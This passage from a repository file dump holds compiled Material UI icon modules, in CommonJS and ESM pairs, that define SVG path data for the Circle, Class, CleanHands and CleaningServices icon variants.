    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}), 'CircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CircleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}), 'CircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CircleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2\"\n}), 'CircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CircleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2\"\n}), 'CircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CircleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2\"\n}), 'CircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CircleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2\"\n}), 'CircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CircleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"1\")], 'CircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CircleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"1\")], 'CircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Class.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M6 4h5v8l-2.5-1.5L6 12z\"\n}), 'Class');"
  },
  {
    "path": "packages/mui-icons-material/lib/Class.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M6 4h5v8l-2.5-1.5L6 12z\"\n}), 'Class');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClassOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 4h2v5l-1-.75L9 9zm9 16H6V4h1v9l3-2.25L13 13V4h5z\"\n}), 'ClassOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClassOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 4h2v5l-1-.75L9 9zm9 16H6V4h1v9l3-2.25L13 13V4h5z\"\n}), 'ClassOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClassRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M6 4h5v8l-2.5-1.5L6 12z\"\n}), 'ClassRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClassRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M6 4h5v8l-2.5-1.5L6 12z\"\n}), 'ClassRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClassSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4v20h16zM6 4h5v8l-2.5-1.5L6 12z\"\n}), 'ClassSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClassSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4v20h16zM6 4h5v8l-2.5-1.5L6 12z\"\n}), 'ClassSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClassTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 13-3-2.25L7 13V4H6v16h12V4h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 4h2v5l-1-.75L9 9zm9 16H6V4h1v9l3-2.25L13 13V4h5z\"\n}, \"1\")], 'ClassTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClassTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 13-3-2.25L7 13V4H6v16h12V4h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 4h2v5l-1-.75L9 9zm9 16H6V4h1v9l3-2.25L13 13V4h5z\"\n}, \"1\")], 'ClassTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleanHands.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.99 5 .63 1.37 1.37.63-1.37.63L16.99 9l-.63-1.37L14.99 7l1.37-.63zM11 6.13V4h2c.57 0 1.1.17 1.55.45l1.43-1.43C15.15 2.39 14.13 2 13 2H7.5v2H9v2.14C7.23 6.51 5.81 7.8 5.26 9.5h3.98L15 11.65v-.62c0-2.42-1.72-4.44-4-4.9M1 22h4V11H1zm19-5h-7l-2.09-.73.33-.94L13 16h2.82c.65 0 1.18-.53 1.18-1.18 0-.49-.31-.93-.77-1.11L8.97 11H7v9.02L14 22l8-3c-.01-1.1-.89-2-2-2m0-3c1.1 0 2-.9 2-2s-2-4-2-4-2 2.9-2 4 .9 2 2 2\"\n}), 'CleanHands');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleanHands.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.99 5 .63 1.37 1.37.63-1.37.63L16.99 9l-.63-1.37L14.99 7l1.37-.63zM11 6.13V4h2c.57 0 1.1.17 1.55.45l1.43-1.43C15.15 2.39 14.13 2 13 2H7.5v2H9v2.14C7.23 6.51 5.81 7.8 5.26 9.5h3.98L15 11.65v-.62c0-2.42-1.72-4.44-4-4.9M1 22h4V11H1zm19-5h-7l-2.09-.73.33-.94L13 16h2.82c.65 0 1.18-.53 1.18-1.18 0-.49-.31-.93-.77-1.11L8.97 11H7v9.02L14 22l8-3c-.01-1.1-.89-2-2-2m0-3c1.1 0 2-.9 2-2s-2-4-2-4-2 2.9-2 4 .9 2 2 2\"\n}), 'CleanHands');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleanHandsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.99 5 .63 1.37 1.37.63-1.37.63L16.99 9l-.63-1.37L14.99 7l1.37-.63zM20 14c1.1 0 2-.9 2-2s-2-4-2-4-2 2.9-2 4 .9 2 2 2m-9-7.9V4h2c.57 0 1.1.17 1.55.45l1.43-1.43C15.15 2.39 14.13 2 13 2H7.5v2H9v2.11c-1.78.37-3.2 1.68-3.75 3.39h2.16C7.94 8.61 8.89 8 10 8c1.62 0 2.94 1.29 2.99 2.9l2.01.75V11c0-2.42-1.72-4.44-4-4.9M22 19v1l-8 2.5-7-1.94V22H1V11h7.97l6.16 2.3c1.12.42 1.87 1.5 1.87 2.7h2c1.66 0 3 1.34 3 3M5 20v-7H3v7zm14.9-1.43c-.16-.33-.51-.56-.9-.56h-5.35c-.54 0-1.07-.09-1.58-.26l-2.38-.79.63-1.9 2.38.79c.31.1 2.3.15 2.3.15 0-.37-.23-.7-.57-.83L8.61 13H7v5.48l6.97 1.93z\"\n}), 'CleanHandsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleanHandsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.99 5 .63 1.37 1.37.63-1.37.63L16.99 9l-.63-1.37L14.99 7l1.37-.63zM20 14c1.1 0 2-.9 2-2s-2-4-2-4-2 2.9-2 4 .9 2 2 2m-9-7.9V4h2c.57 0 1.1.17 1.55.45l1.43-1.43C15.15 2.39 14.13 2 13 2H7.5v2H9v2.11c-1.78.37-3.2 1.68-3.75 3.39h2.16C7.94 8.61 8.89 8 10 8c1.62 0 2.94 1.29 2.99 2.9l2.01.75V11c0-2.42-1.72-4.44-4-4.9M22 19v1l-8 2.5-7-1.94V22H1V11h7.97l6.16 2.3c1.12.42 1.87 1.5 1.87 2.7h2c1.66 0 3 1.34 3 3M5 20v-7H3v7zm14.9-1.43c-.16-.33-.51-.56-.9-.56h-5.35c-.54 0-1.07-.09-1.58-.26l-2.38-.79.63-1.9 2.38.79c.31.1 2.3.15 2.3.15 0-.37-.23-.7-.57-.83L8.61 13H7v5.48l6.97 1.93z\"\n}), 'CleanHandsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleanHandsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.99 7 1.37-.63.63-1.37.63 1.37 1.37.63-1.37.63L16.99 9l-.63-1.37zM20 14c1.1 0 2-.9 2-2 0-.78-.99-2.44-1.58-3.36-.2-.31-.64-.31-.84 0C18.99 9.56 18 11.22 18 12c0 1.1.9 2 2 2M9.24 9.5 15 11.65V11c0-2.42-1.72-4.44-4-4.9V4h2c.35 0 .68.06 1 .18.37.13.78.05 1.05-.22.51-.51.34-1.39-.33-1.64C14.19 2.11 13.61 2 13 2H8.5c-.55 0-1 .45-1 1s.45 1 1 1H9v2.11c-1.78.37-3.2 1.68-3.75 3.39zM3 11c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2s2-.9 2-2v-7c0-1.1-.9-2-2-2m16.99 6h-6.83a.96.96 0 0 1-.33-.06l-1.47-.51c-.26-.09-.39-.37-.3-.63s.38-.4.64-.3l1.12.43c.11.04.24.07.36.07h2.63c.65 0 1.18-.53 1.18-1.18 0-.49-.31-.93-.77-1.11L9.3 11.13c-.22-.09-.46-.13-.7-.13H7v9.02l6.37 1.81c.41.12.85.1 1.25-.05L22 19c0-1.11-.9-2-2.01-2\"\n}), 'CleanHandsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleanHandsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.99 7 1.37-.63.63-1.37.63 1.37 1.37.63-1.37.63L16.99 9l-.63-1.37zM20 14c1.1 0 2-.9 2-2 0-.78-.99-2.44-1.58-3.36-.2-.31-.64-.31-.84 0C18.99 9.56 18 11.22 18 12c0 1.1.9 2 2 2M9.24 9.5 15 11.65V11c0-2.42-1.72-4.44-4-4.9V4h2c.35 0 .68.06 1 .18.37.13.78.05 1.05-.22.51-.51.34-1.39-.33-1.64C14.19 2.11 13.61 2 13 2H8.5c-.55 0-1 .45-1 1s.45 1 1 1H9v2.11c-1.78.37-3.2 1.68-3.75 3.39zM3 11c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2s2-.9 2-2v-7c0-1.1-.9-2-2-2m16.99 6h-6.83a.96.96 0 0 1-.33-.06l-1.47-.51c-.26-.09-.39-.37-.3-.63s.38-.4.64-.3l1.12.43c.11.04.24.07.36.07h2.63c.65 0 1.18-.53 1.18-1.18 0-.49-.31-.93-.77-1.11L9.3 11.13c-.22-.09-.46-.13-.7-.13H7v9.02l6.37 1.81c.41.12.85.1 1.25-.05L22 19c0-1.11-.9-2-2.01-2\"\n}), 'CleanHandsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleanHandsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.99 7 1.37-.63.63-1.37.63 1.37 1.37.63-1.37.63L16.99 9l-.63-1.37zM20 14c1.1 0 2-.9 2-2s-2-4-2-4-2 2.9-2 4 .9 2 2 2M1 22h4V11H1zM9.24 9.5 15 11.65V11c0-2.42-1.72-4.44-4-4.9V4h2c.57 0 1.1.17 1.55.45l1.43-1.43C15.15 2.39 14.13 2 13 2H7.5v2H9v2.11c-1.78.37-3.2 1.68-3.75 3.39zM22 17h-9l-2.09-.73.33-.94L13 16h4v-2l-8.03-3H7v9.02L14 22l8-3z\"\n}), 'CleanHandsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleanHandsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.99 7 1.37-.63.63-1.37.63 1.37 1.37.63-1.37.63L16.99 9l-.63-1.37zM20 14c1.1 0 2-.9 2-2s-2-4-2-4-2 2.9-2 4 .9 2 2 2M1 22h4V11H1zM9.24 9.5 15 11.65V11c0-2.42-1.72-4.44-4-4.9V4h2c.57 0 1.1.17 1.55.45l1.43-1.43C15.15 2.39 14.13 2 13 2H7.5v2H9v2.11c-1.78.37-3.2 1.68-3.75 3.39zM22 17h-9l-2.09-.73.33-.94L13 16h4v-2l-8.03-3H7v9.02L14 22l8-3z\"\n}), 'CleanHandsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleanHandsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.24 9.5H7.42C7.94 8.61 8.89 8 10 8c1.62 0 2.94 1.29 2.99 2.9zM5 20v-7H3v7zm14.9-1.43c-.16-.33-.51-.56-.9-.56h-5.35c-.54 0-1.07-.09-1.58-.26l-2.38-.79.63-1.9 2.38.79c.31.1 2.3.15 2.3.15 0-.37-.23-.7-.57-.83L8.61 13H7v5.48l6.97 1.93z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.99 5 .63 1.37 1.37.63-1.37.63L16.99 9l-.63-1.37L14.99 7l1.37-.63zM20 14c1.1 0 2-.9 2-2s-2-4-2-4-2 2.9-2 4 .9 2 2 2m-9-7.9V4h2c.57 0 1.1.17 1.55.45l1.43-1.43C15.15 2.39 14.13 2 13 2H7.5v2H9v2.11c-1.78.37-3.2 1.68-3.75 3.39h2.16C7.94 8.61 8.89 8 10 8c1.62 0 2.94 1.29 2.99 2.9l2.01.75V11c0-2.42-1.72-4.44-4-4.9M22 19v1l-8 2.5-7-1.94V22H1V11h7.97l6.16 2.3c1.12.42 1.87 1.5 1.87 2.7h2c1.66 0 3 1.34 3 3M5 20v-7H3v7zm14.9-1.43c-.16-.33-.51-.56-.9-.56h-5.35c-.54 0-1.07-.09-1.58-.26l-2.38-.79.63-1.9 2.38.79c.31.1 2.3.15 2.3.15 0-.37-.23-.7-.57-.83L8.61 13H7v5.48l6.97 1.93z\"\n}, \"1\")], 'CleanHandsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleanHandsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.24 9.5H7.42C7.94 8.61 8.89 8 10 8c1.62 0 2.94 1.29 2.99 2.9zM5 20v-7H3v7zm14.9-1.43c-.16-.33-.51-.56-.9-.56h-5.35c-.54 0-1.07-.09-1.58-.26l-2.38-.79.63-1.9 2.38.79c.31.1 2.3.15 2.3.15 0-.37-.23-.7-.57-.83L8.61 13H7v5.48l6.97 1.93z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.99 5 .63 1.37 1.37.63-1.37.63L16.99 9l-.63-1.37L14.99 7l1.37-.63zM20 14c1.1 0 2-.9 2-2s-2-4-2-4-2 2.9-2 4 .9 2 2 2m-9-7.9V4h2c.57 0 1.1.17 1.55.45l1.43-1.43C15.15 2.39 14.13 2 13 2H7.5v2H9v2.11c-1.78.37-3.2 1.68-3.75 3.39h2.16C7.94 8.61 8.89 8 10 8c1.62 0 2.94 1.29 2.99 2.9l2.01.75V11c0-2.42-1.72-4.44-4-4.9M22 19v1l-8 2.5-7-1.94V22H1V11h7.97l6.16 2.3c1.12.42 1.87 1.5 1.87 2.7h2c1.66 0 3 1.34 3 3M5 20v-7H3v7zm14.9-1.43c-.16-.33-.51-.56-.9-.56h-5.35c-.54 0-1.07-.09-1.58-.26l-2.38-.79.63-1.9 2.38.79c.31.1 2.3.15 2.3.15 0-.37-.23-.7-.57-.83L8.61 13H7v5.48l6.97 1.93z\"\n}, \"1\")], 'CleanHandsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleaningServices.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11h-1V3c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v8H8c-2.76 0-5 2.24-5 5v7h18v-7c0-2.76-2.24-5-5-5m3 10h-2v-3c0-.55-.45-1-1-1s-1 .45-1 1v3h-2v-3c0-.55-.45-1-1-1s-1 .45-1 1v3H9v-3c0-.55-.45-1-1-1s-1 .45-1 1v3H5v-5c0-1.65 1.35-3 3-3h8c1.65 0 3 1.35 3 3z\"\n}), 'CleaningServices');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleaningServices.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11h-1V3c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v8H8c-2.76 0-5 2.24-5 5v7h18v-7c0-2.76-2.24-5-5-5m3 10h-2v-3c0-.55-.45-1-1-1s-1 .45-1 1v3h-2v-3c0-.55-.45-1-1-1s-1 .45-1 1v3H9v-3c0-.55-.45-1-1-1s-1 .45-1 1v3H5v-5c0-1.65 1.35-3 3-3h8c1.65 0 3 1.35 3 3z\"\n}), 'CleaningServices');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleaningServicesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11h-1V3c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v8H8c-2.76 0-5 2.24-5 5v7h18v-7c0-2.76-2.24-5-5-5m-5-8h2v8h-2zm8 18h-2v-3c0-.55-.45-1-1-1s-1 .45-1 1v3h-2v-3c0-.55-.45-1-1-1s-1 .45-1 1v3H9v-3c0-.55-.45-1-1-1s-1 .45-1 1v3H5v-5c0-1.65 1.35-3 3-3h8c1.65 0 3 1.35 3 3z\"\n}), 'CleaningServicesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleaningServicesOutlined.mjs",
